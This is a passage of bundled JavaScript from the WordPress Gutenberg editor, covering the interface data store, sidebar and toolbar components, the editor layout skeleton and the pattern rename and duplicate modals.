 *
 * @param {string}                  scope    The feature scope (e.g. core/edit-post).
 * @param {Object<string, boolean>} defaults A key/value map of feature names to values.
 *
 * @return {Object} Action object.
 */
function setFeatureDefaults(scope, defaults) {
  return function ({
    registry
  }) {
    external_wp_deprecated_default()(`dispatch( 'core/interface' ).setFeatureDefaults`, {
      since: '6.0',
      alternative: `dispatch( 'core/preferences' ).setDefaults`
    });
    registry.dispatch(external_wp_preferences_namespaceObject.store).setDefaults(scope, defaults);
  };
}

/**
 * Returns an action object used in signalling that the user opened a modal.
 *
 * @param {string} name A string that uniquely identifies the modal.
 *
 * @return {Object} Action object.
 */
function openModal(name) {
  return {
    type: 'OPEN_MODAL',
    name
  };
}

/**
 * Returns an action object signalling that the user closed a modal.
 *
 * @return {Object} Action object.
 */
function closeModal() {
  return {
    type: 'CLOSE_MODAL'
  };
}

;// ./node_modules/@wordpress/interface/build-module/store/selectors.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


/**
 * Returns the complementary area that is active in a given scope.
 *
 * @param {Object} state Global application state.
 * @param {string} scope Item scope.
 *
 * @return {string | null | undefined} The complementary area that is active in the given scope.
 */
const getActiveComplementaryArea = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, scope) => {
  scope = normalizeComplementaryAreaScope(scope);
  const isComplementaryAreaVisible = select(external_wp_preferences_namespaceObject.store).get(scope, 'isComplementaryAreaVisible');

  // Return `undefined` to indicate that the user has never toggled
  // visibility, this is the vanilla default. Other code relies on this
  // nuance in the return value.
  if (isComplementaryAreaVisible === undefined) {
    return undefined;
  }

  // Return `null` to indicate the user hid the complementary area.
  if (isComplementaryAreaVisible === false) {
    return null;
  }
  return state?.complementaryAreas?.[scope];
});
const isComplementaryAreaLoading = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, scope) => {
  scope = normalizeComplementaryAreaScope(scope);
  const isVisible = select(external_wp_preferences_namespaceObject.store).get(scope, 'isComplementaryAreaVisible');
  const identifier = state?.complementaryAreas?.[scope];
  return isVisible && identifier === undefined;
});

/**
 * Returns a boolean indicating if an item is pinned or not.
 *
 * @param {Object} state Global application state.
 * @param {string} scope Scope.
 * @param {string} item  Item to check.
 *
 * @return {boolean} True if the item is pinned and false otherwise.
 */
const isItemPinned = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, scope, item) => {
  var _pinnedItems$item;
  scope = normalizeComplementaryAreaScope(scope);
  item = normalizeComplementaryAreaName(scope, item);
  const pinnedItems = select(external_wp_preferences_namespaceObject.store).get(scope, 'pinnedItems');
  return (_pinnedItems$item = pinnedItems?.[item]) !== null && _pinnedItems$item !== void 0 ? _pinnedItems$item : true;
});

/**
 * Returns a boolean indicating whether a feature is active for a particular
 * scope.
 *
 * @param {Object} state       The store state.
 * @param {string} scope       The scope of the feature (e.g. core/edit-post).
 * @param {string} featureName The name of the feature.
 *
 * @return {boolean} Is the feature enabled?
 */
const isFeatureActive = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, scope, featureName) => {
  external_wp_deprecated_default()(`select( 'core/interface' ).isFeatureActive( scope, featureName )`, {
    since: '6.0',
    alternative: `select( 'core/preferences' ).get( scope, featureName )`
  });
  return !!select(external_wp_preferences_namespaceObject.store).get(scope, featureName);
});

/**
 * Returns true if a modal is active, or false otherwise.
 *
 * @param {Object} state     Global application state.
 * @param {string} modalName A string that uniquely identifies the modal.
 *
 * @return {boolean} Whether the modal is active.
 */
function isModalActive(state, modalName) {
  return state.activeModal === modalName;
}

;// ./node_modules/@wordpress/interface/build-module/store/reducer.js
/**
 * WordPress dependencies
 */

function complementaryAreas(state = {}, action) {
  switch (action.type) {
    case 'SET_DEFAULT_COMPLEMENTARY_AREA':
      {
        const {
          scope,
          area
        } = action;

        // If there's already an area, don't overwrite it.
        if (state[scope]) {
          return state;
        }
        return {
          ...state,
          [scope]: area
        };
      }
    case 'ENABLE_COMPLEMENTARY_AREA':
      {
        const {
          scope,
          area
        } = action;
        return {
          ...state,
          [scope]: area
        };
      }
  }
  return state;
}

/**
 * Reducer for storing the name of the open modal, or null if no modal is open.
 *
 * @param {Object} state  Previous state.
 * @param {Object} action Action object containing the `name` of the modal
 *
 * @return {Object} Updated state
 */
function activeModal(state = null, action) {
  switch (action.type) {
    case 'OPEN_MODAL':
      return action.name;
    case 'CLOSE_MODAL':
      return null;
  }
  return state;
}
/* harmony default export */ const build_module_store_reducer = ((0,external_wp_data_namespaceObject.combineReducers)({
  complementaryAreas,
  activeModal
}));

;// ./node_modules/@wordpress/interface/build-module/store/constants.js
/**
 * The identifier for the data store.
 *
 * @type {string}
 */
const constants_STORE_NAME = 'core/interface';

;// ./node_modules/@wordpress/interface/build-module/store/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */





/**
 * Store definition for the interface namespace.
 *
 * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore
 *
 * @type {Object}
 */
const store = (0,external_wp_data_namespaceObject.createReduxStore)(constants_STORE_NAME, {
  reducer: build_module_store_reducer,
  actions: store_actions_namespaceObject,
  selectors: store_selectors_namespaceObject
});

// Once we build a more generic persistence plugin that works across types of stores
// we'd be able to replace this with a register call.
(0,external_wp_data_namespaceObject.register)(store);

;// ./node_modules/@wordpress/interface/build-module/components/complementary-area-toggle/index.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


/**
 * Whether the role supports checked state.
 *
 * @see https://www.w3.org/TR/wai-aria-1.1/#aria-checked
 * @param {import('react').AriaRole} role Role.
 * @return {boolean} Whether the role supports checked state.
 */

function roleSupportsCheckedState(role) {
  return ['checkbox', 'option', 'radio', 'switch', 'menuitemcheckbox', 'menuitemradio', 'treeitem'].includes(role);
}
function ComplementaryAreaToggle({
  as = external_wp_components_namespaceObject.Button,
  scope,
  identifier: identifierProp,
  icon: iconProp,
  selectedIcon,
  name,
  shortcut,
  ...props
}) {
  const ComponentToUse = as;
  const context = (0,external_wp_plugins_namespaceObject.usePluginContext)();
  const icon = iconProp || context.icon;
  const identifier = identifierProp || `${context.name}/${name}`;
  const isSelected = (0,external_wp_data_namespaceObject.useSelect)(select => select(store).getActiveComplementaryArea(scope) === identifier, [identifier, scope]);
  const {
    enableComplementaryArea,
    disableComplementaryArea
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ComponentToUse, {
    icon: selectedIcon && isSelected ? selectedIcon : icon,
    "aria-controls": identifier.replace('/', ':')
    // Make sure aria-checked matches spec https://www.w3.org/TR/wai-aria-1.1/#aria-checked
    ,
    "aria-checked": roleSupportsCheckedState(props.role) ? isSelected : undefined,
    onClick: () => {
      if (isSelected) {
        disableComplementaryArea(scope);
      } else {
        enableComplementaryArea(scope, identifier);
      }
    },
    shortcut: shortcut,
    ...props
  });
}

;// ./node_modules/@wordpress/interface/build-module/components/complementary-area-header/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


const ComplementaryAreaHeader = ({
  children,
  className,
  toggleButtonProps
}) => {
  const toggleButton = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ComplementaryAreaToggle, {
    icon: close_small,
    ...toggleButtonProps
  });
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    className: dist_clsx('components-panel__header', 'interface-complementary-area-header', className),
    tabIndex: -1,
    children: [children, toggleButton]
  });
};
/* harmony default export */ const complementary_area_header = (ComplementaryAreaHeader);

;// ./node_modules/@wordpress/interface/build-module/components/action-item/index.js
/**
 * WordPress dependencies
 */



const action_item_noop = () => {};
function ActionItemSlot({
  name,
  as: Component = external_wp_components_namespaceObject.MenuGroup,
  fillProps = {},
  bubblesVirtually,
  ...props
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Slot, {
    name: name,
    bubblesVirtually: bubblesVirtually,
    fillProps: fillProps,
    children: fills => {
      if (!external_wp_element_namespaceObject.Children.toArray(fills).length) {
        return null;
      }

      // Special handling exists for backward compatibility.
      // It ensures that menu items created by plugin authors aren't
      // duplicated with automatically injected menu items coming
      // from pinnable plugin sidebars.
      // @see https://github.com/WordPress/gutenberg/issues/14457
      const initializedByPlugins = [];
      external_wp_element_namespaceObject.Children.forEach(fills, ({
        props: {
          __unstableExplicitMenuItem,
          __unstableTarget
        }
      }) => {
        if (__unstableTarget && __unstableExplicitMenuItem) {
          initializedByPlugins.push(__unstableTarget);
        }
      });
      const children = external_wp_element_namespaceObject.Children.map(fills, child => {
        if (!child.props.__unstableExplicitMenuItem && initializedByPlugins.includes(child.props.__unstableTarget)) {
          return null;
        }
        return child;
      });
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Component, {
        ...props,
        children: children
      });
    }
  });
}
function ActionItem({
  name,
  as: Component = external_wp_components_namespaceObject.Button,
  onClick,
  ...props
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Fill, {
    name: name,
    children: ({
      onClick: fpOnClick
    }) => {
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Component, {
        onClick: onClick || fpOnClick ? (...args) => {
          (onClick || action_item_noop)(...args);
          (fpOnClick || action_item_noop)(...args);
        } : undefined,
        ...props
      });
    }
  });
}
ActionItem.Slot = ActionItemSlot;
/* harmony default export */ const action_item = (ActionItem);

;// ./node_modules/@wordpress/interface/build-module/components/complementary-area-more-menu-item/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



const PluginsMenuItem = ({
  // Menu item is marked with unstable prop for backward compatibility.
  // They are removed so they don't leak to DOM elements.
  // @see https://github.com/WordPress/gutenberg/issues/14457
  __unstableExplicitMenuItem,
  __unstableTarget,
  ...restProps
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
  ...restProps
});
function ComplementaryAreaMoreMenuItem({
  scope,
  target,
  __unstableExplicitMenuItem,
  ...props
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ComplementaryAreaToggle, {
    as: toggleProps => {
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(action_item, {
        __unstableExplicitMenuItem: __unstableExplicitMenuItem,
        __unstableTarget: `${scope}/${target}`,
        as: PluginsMenuItem,
        name: `${scope}/plugin-more-menu`,
        ...toggleProps
      });
    },
    role: "menuitemcheckbox",
    selectedIcon: library_check,
    name: target,
    scope: scope,
    ...props
  });
}

;// ./node_modules/@wordpress/interface/build-module/components/pinned-items/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */


function PinnedItems({
  scope,
  ...props
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Fill, {
    name: `PinnedItems/${scope}`,
    ...props
  });
}
function PinnedItemsSlot({
  scope,
  className,
  ...props
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Slot, {
    name: `PinnedItems/${scope}`,
    ...props,
    children: fills => fills?.length > 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: dist_clsx(className, 'interface-pinned-items'),
      children: fills
    })
  });
}
PinnedItems.Slot = PinnedItemsSlot;
/* harmony default export */ const pinned_items = (PinnedItems);

;// ./node_modules/@wordpress/interface/build-module/components/complementary-area/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */










/**
 * Internal dependencies
 */






const ANIMATION_DURATION = 0.3;
function ComplementaryAreaSlot({
  scope,
  ...props
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Slot, {
    name: `ComplementaryArea/${scope}`,
    ...props
  });
}
const SIDEBAR_WIDTH = 280;
const variants = {
  open: {
    width: SIDEBAR_WIDTH
  },
  closed: {
    width: 0
  },
  mobileOpen: {
    width: '100vw'
  }
};
function ComplementaryAreaFill({
  activeArea,
  isActive,
  scope,
  children,
  className,
  id
}) {
  const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
  const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium', '<');
  // This is used to delay the exit animation to the next tick.
  // The reason this is done is to allow us to apply the right transition properties
  // When we switch from an open sidebar to another open sidebar.
  // we don't want to animate in this case.
  const previousActiveArea = (0,external_wp_compose_namespaceObject.usePrevious)(activeArea);
  const previousIsActive = (0,external_wp_compose_namespaceObject.usePrevious)(isActive);
  const [, setState] = (0,external_wp_element_namespaceObject.useState)({});
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    setState({});
  }, [isActive]);
  const transition = {
    type: 'tween',
    duration: disableMotion || isMobileViewport || !!previousActiveArea && !!activeArea && activeArea !== previousActiveArea ? 0 : ANIMATION_DURATION,
    ease: [0.6, 0, 0.4, 1]
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Fill, {
    name: `ComplementaryArea/${scope}`,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableAnimatePresence, {
      initial: false,
      children: (previousIsActive || isActive) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, {
        variants: variants,
        initial: "closed",
        animate: isMobileViewport ? 'mobileOpen' : 'open',
        exit: "closed",
        transition: transition,
        className: "interface-complementary-area__fill",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
          id: id,
          className: className,
          style: {
            width: isMobileViewport ? '100vw' : SIDEBAR_WIDTH
          },
          children: children
        })
      })
    })
  });
}
function useAdjustComplementaryListener(scope, identifier, activeArea, isActive, isSmall) {
  const previousIsSmallRef = (0,external_wp_element_namespaceObject.useRef)(false);
  const shouldOpenWhenNotSmallRef = (0,external_wp_element_namespaceObject.useRef)(false);
  const {
    enableComplementaryArea,
    disableComplementaryArea
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    // If the complementary area is active and the editor is switching from
    // a big to a small window size.
    if (isActive && isSmall && !previousIsSmallRef.current) {
      disableComplementaryArea(scope);
      // Flag the complementary area to be reopened when the window size
      // goes from small to big.
      shouldOpenWhenNotSmallRef.current = true;
    } else if (
    // If there is a flag indicating the complementary area should be
    // enabled when we go from small to big window size and we are going
    // from a small to big window size.
    shouldOpenWhenNotSmallRef.current && !isSmall && previousIsSmallRef.current) {
      // Remove the flag indicating the complementary area should be
      // enabled.
      shouldOpenWhenNotSmallRef.current = false;
      enableComplementaryArea(scope, identifier);
    } else if (
    // If the flag is indicating the current complementary should be
    // reopened but another complementary area becomes active, remove
    // the flag.
    shouldOpenWhenNotSmallRef.current && activeArea && activeArea !== identifier) {
      shouldOpenWhenNotSmallRef.current = false;
    }
    if (isSmall !== previousIsSmallRef.current) {
      previousIsSmallRef.current = isSmall;
    }
  }, [isActive, isSmall, scope, identifier, activeArea, disableComplementaryArea, enableComplementaryArea]);
}
function ComplementaryArea({
  children,
  className,
  closeLabel = (0,external_wp_i18n_namespaceObject.__)('Close plugin'),
  identifier: identifierProp,
  header,
  headerClassName,
  icon: iconProp,
  isPinnable = true,
  panelClassName,
  scope,
  name,
  title,
  toggleShortcut,
  isActiveByDefault
}) {
  const context = (0,external_wp_plugins_namespaceObject.usePluginContext)();
  const icon = iconProp || context.icon;
  const identifier = identifierProp || `${context.name}/${name}`;

  // This state is used to delay the rendering of the Fill
  // until the initial effect runs.
  // This prevents the animation from running on mount if
  // the complementary area is active by default.
  const [isReady, setIsReady] = (0,external_wp_element_namespaceObject.useState)(false);
  const {
    isLoading,
    isActive,
    isPinned,
    activeArea,
    isSmall,
    isLarge,
    showIconLabels
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getActiveComplementaryArea,
      isComplementaryAreaLoading,
      isItemPinned
    } = select(store);
    const {
      get
    } = select(external_wp_preferences_namespaceObject.store);
    const _activeArea = getActiveComplementaryArea(scope);
    return {
      isLoading: isComplementaryAreaLoading(scope),
      isActive: _activeArea === identifier,
      isPinned: isItemPinned(scope, identifier),
      activeArea: _activeArea,
      isSmall: select(external_wp_viewport_namespaceObject.store).isViewportMatch('< medium'),
      isLarge: select(external_wp_viewport_namespaceObject.store).isViewportMatch('large'),
      showIconLabels: get('core', 'showIconLabels')
    };
  }, [identifier, scope]);
  const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium', '<');
  useAdjustComplementaryListener(scope, identifier, activeArea, isActive, isSmall);
  const {
    enableComplementaryArea,
    disableComplementaryArea,
    pinItem,
    unpinItem
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    // Set initial visibility: For large screens, enable if it's active by
    // default. For small screens, always initially disable.
    if (isActiveByDefault && activeArea === undefined && !isSmall) {
      enableComplementaryArea(scope, identifier);
    } else if (activeArea === undefined && isSmall) {
      disableComplementaryArea(scope, identifier);
    }
    setIsReady(true);
  }, [activeArea, isActiveByDefault, scope, identifier, isSmall, enableComplementaryArea, disableComplementaryArea]);
  if (!isReady) {
    return;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [isPinnable && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(pinned_items, {
      scope: scope,
      children: isPinned && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ComplementaryAreaToggle, {
        scope: scope,
        identifier: identifier,
        isPressed: isActive && (!showIconLabels || isLarge),
        "aria-expanded": isActive,
        "aria-disabled": isLoading,
        label: title,
        icon: showIconLabels ? library_check : icon,
        showTooltip: !showIconLabels,
        variant: showIconLabels ? 'tertiary' : undefined,
        size: "compact",
        shortcut: toggleShortcut
      })
    }), name && isPinnable && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ComplementaryAreaMoreMenuItem, {
      target: name,
      scope: scope,
      icon: icon,
      children: title
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(ComplementaryAreaFill, {
      activeArea: activeArea,
      isActive: isActive,
      className: dist_clsx('interface-complementary-area', className),
      scope: scope,
      id: identifier.replace('/', ':'),
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(complementary_area_header, {
        className: headerClassName,
        closeLabel: closeLabel,
        onClose: () => disableComplementaryArea(scope),
        toggleButtonProps: {
          label: closeLabel,
          size: 'compact',
          shortcut: toggleShortcut,
          scope,
          identifier
        },
        children: header || /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", {
            className: "interface-complementary-area-header__title",
            children: title
          }), isPinnable && !isMobileViewport && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            className: "interface-complementary-area__pin-unpin-item",
            icon: isPinned ? star_filled : star_empty,
            label: isPinned ? (0,external_wp_i18n_namespaceObject.__)('Unpin from toolbar') : (0,external_wp_i18n_namespaceObject.__)('Pin to toolbar'),
            onClick: () => (isPinned ? unpinItem : pinItem)(scope, identifier),
            isPressed: isPinned,
            "aria-expanded": isPinned,
            size: "compact"
          })]
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Panel, {
        className: panelClassName,
        children: children
      })]
    })]
  });
}
ComplementaryArea.Slot = ComplementaryAreaSlot;
/* harmony default export */ const complementary_area = (ComplementaryArea);

;// ./node_modules/@wordpress/interface/build-module/components/fullscreen-mode/index.js
/**
 * WordPress dependencies
 */

const FullscreenMode = ({
  isActive
}) => {
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    let isSticky = false;
    // `is-fullscreen-mode` is set in PHP as a body class by Gutenberg, and this causes
    // `sticky-menu` to be applied by WordPress and prevents the admin menu being scrolled
    // even if `is-fullscreen-mode` is then removed. Let's remove `sticky-menu` here as
    // a consequence of the FullscreenMode setup.
    if (document.body.classList.contains('sticky-menu')) {
      isSticky = true;
      document.body.classList.remove('sticky-menu');
    }
    return () => {
      if (isSticky) {
        document.body.classList.add('sticky-menu');
      }
    };
  }, []);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (isActive) {
      document.body.classList.add('is-fullscreen-mode');
    } else {
      document.body.classList.remove('is-fullscreen-mode');
    }
    return () => {
      if (isActive) {
        document.body.classList.remove('is-fullscreen-mode');
      }
    };
  }, [isActive]);
  return null;
};
/* harmony default export */ const fullscreen_mode = (FullscreenMode);

;// ./node_modules/@wordpress/interface/build-module/components/navigable-region/index.js
/**
 * WordPress dependencies
 */


/**
 * External dependencies
 */


const NavigableRegion = (0,external_wp_element_namespaceObject.forwardRef)(({
  children,
  className,
  ariaLabel,
  as: Tag = 'div',
  ...props
}, ref) => {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, {
    ref: ref,
    className: dist_clsx('interface-navigable-region', className),
    "aria-label": ariaLabel,
    role: "region",
    tabIndex: "-1",
    ...props,
    children: children
  });
});
NavigableRegion.displayName = 'NavigableRegion';
/* harmony default export */ const navigable_region = (NavigableRegion);

;// ./node_modules/@wordpress/interface/build-module/components/interface-skeleton/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */


const interface_skeleton_ANIMATION_DURATION = 0.25;
const commonTransition = {
  type: 'tween',
  duration: interface_skeleton_ANIMATION_DURATION,
  ease: [0.6, 0, 0.4, 1]
};
function useHTMLClass(className) {
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    const element = document && document.querySelector(`html:not(.${className})`);
    if (!element) {
      return;
    }
    element.classList.toggle(className);
    return () => {
      element.classList.toggle(className);
    };
  }, [className]);
}
const headerVariants = {
  hidden: {
    opacity: 1,
    marginTop: -60
  },
  visible: {
    opacity: 1,
    marginTop: 0
  },
  distractionFreeHover: {
    opacity: 1,
    marginTop: 0,
    transition: {
      ...commonTransition,
      delay: 0.2,
      delayChildren: 0.2
    }
  },
  distractionFreeHidden: {
    opacity: 0,
    marginTop: -60
  },
  distractionFreeDisabled: {
    opacity: 0,
    marginTop: 0,
    transition: {
      ...commonTransition,
      delay: 0.8,
      delayChildren: 0.8
    }
  }
};
function InterfaceSkeleton({
  isDistractionFree,
  footer,
  header,
  editorNotices,
  sidebar,
  secondarySidebar,
  content,
  actions,
  labels,
  className
}, ref) {
  const [secondarySidebarResizeListener, secondarySidebarSize] = (0,external_wp_compose_namespaceObject.useResizeObserver)();
  const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium', '<');
  const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
  const defaultTransition = {
    type: 'tween',
    duration: disableMotion ? 0 : interface_skeleton_ANIMATION_DURATION,
    ease: [0.6, 0, 0.4, 1]
  };
  useHTMLClass('interface-interface-skeleton__html-container');
  const defaultLabels = {
    /* translators: accessibility text for the top bar landmark region. */
    header: (0,external_wp_i18n_namespaceObject._x)('Header', 'header landmark area'),
    /* translators: accessibility text for the content landmark region. */
    body: (0,external_wp_i18n_namespaceObject.__)('Content'),
    /* translators: accessibility text for the secondary sidebar landmark region. */
    secondarySidebar: (0,external_wp_i18n_namespaceObject.__)('Block Library'),
    /* translators: accessibility text for the settings landmark region. */
    sidebar: (0,external_wp_i18n_namespaceObject._x)('Settings', 'settings landmark area'),
    /* translators: accessibility text for the publish landmark region. */
    actions: (0,external_wp_i18n_namespaceObject.__)('Publish'),
    /* translators: accessibility text for the footer landmark region. */
    footer: (0,external_wp_i18n_namespaceObject.__)('Footer')
  };
  const mergedLabels = {
    ...defaultLabels,
    ...labels
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    ref: ref,
    className: dist_clsx(className, 'interface-interface-skeleton', !!footer && 'has-footer'),
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      className: "interface-interface-skeleton__editor",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableAnimatePresence, {
        initial: false,
        children: !!header && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(navigable_region, {
          as: external_wp_components_namespaceObject.__unstableMotion.div,
          className: "interface-interface-skeleton__header",
          "aria-label": mergedLabels.header,
          initial: isDistractionFree && !isMobileViewport ? 'distractionFreeHidden' : 'hidden',
          whileHover: isDistractionFree && !isMobileViewport ? 'distractionFreeHover' : 'visible',
          animate: isDistractionFree && !isMobileViewport ? 'distractionFreeDisabled' : 'visible',
          exit: isDistractionFree && !isMobileViewport ? 'distractionFreeHidden' : 'hidden',
          variants: headerVariants,
          transition: defaultTransition,
          children: header
        })
      }), isDistractionFree && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: "interface-interface-skeleton__header",
        children: editorNotices
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
        className: "interface-interface-skeleton__body",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableAnimatePresence, {
          initial: false,
          children: !!secondarySidebar && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(navigable_region, {
            className: "interface-interface-skeleton__secondary-sidebar",
            ariaLabel: mergedLabels.secondarySidebar,
            as: external_wp_components_namespaceObject.__unstableMotion.div,
            initial: "closed",
            animate: "open",
            exit: "closed",
            variants: {
              open: {
                width: secondarySidebarSize.width
              },
              closed: {
                width: 0
              }
            },
            transition: defaultTransition,
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__unstableMotion.div, {
              style: {
                position: 'absolute',
                width: isMobileViewport ? '100vw' : 'fit-content',
                height: '100%',
                left: 0
              },
              variants: {
                open: {
                  x: 0
                },
                closed: {
                  x: '-100%'
                }
              },
              transition: defaultTransition,
              children: [secondarySidebarResizeListener, secondarySidebar]
            })
          })
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(navigable_region, {
          className: "interface-interface-skeleton__content",
          ariaLabel: mergedLabels.body,
          children: content
        }), !!sidebar && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(navigable_region, {
          className: "interface-interface-skeleton__sidebar",
          ariaLabel: mergedLabels.sidebar,
          children: sidebar
        }), !!actions && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(navigable_region, {
          className: "interface-interface-skeleton__actions",
          ariaLabel: mergedLabels.actions,
          children: actions
        })]
      })]
    }), !!footer && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(navigable_region, {
      className: "interface-interface-skeleton__footer",
      ariaLabel: mergedLabels.footer,
      children: footer
    })]
  });
}
/* harmony default export */ const interface_skeleton = ((0,external_wp_element_namespaceObject.forwardRef)(InterfaceSkeleton));

;// ./node_modules/@wordpress/interface/build-module/components/index.js








;// ./node_modules/@wordpress/interface/build-module/index.js



;// ./node_modules/@wordpress/editor/build-module/components/pattern-rename-modal/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */




const {
  RenamePatternModal
} = unlock(external_wp_patterns_namespaceObject.privateApis);
const modalName = 'editor/pattern-rename';
function PatternRenameModal() {
  const {
    record,
    postType
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostType,
      getCurrentPostId
    } = select(store_store);
    const {
      getEditedEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    const _postType = getCurrentPostType();
    return {
      record: getEditedEntityRecord('postType', _postType, getCurrentPostId()),
      postType: _postType
    };
  }, []);
  const {
    closeModal
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  const isActive = (0,external_wp_data_namespaceObject.useSelect)(select => select(store).isModalActive(modalName));
  if (!isActive || postType !== PATTERN_POST_TYPE) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(RenamePatternModal, {
    onClose: closeModal,
    pattern: record
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/pattern-duplicate-modal/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */




const {
  DuplicatePatternModal
} = unlock(external_wp_patterns_namespaceObject.privateApis);
const pattern_duplicate_modal_modalName = 'editor/pattern-duplicate';
function PatternDuplicateModal() {
  const {
    record,
    postType
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostType,
      getCurrentPostId
    } = select(store_store);
    const {
      getEditedEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    const _postType = getCurrentPostType();
    return {
      record: getEditedEntityRecord('postType', _postType, getCurrentPostId()),
      postType: _postType
    };
  }, []);
  const {
    closeModal
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  const isActive = (0,external_wp_data_namespaceObject.useSelect)(select => select(store).isModalActive(pattern_duplicate_modal_modalName));
  if (!isActive || postType !== PATTERN_POST_TYPE) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DuplicatePatternModal, {
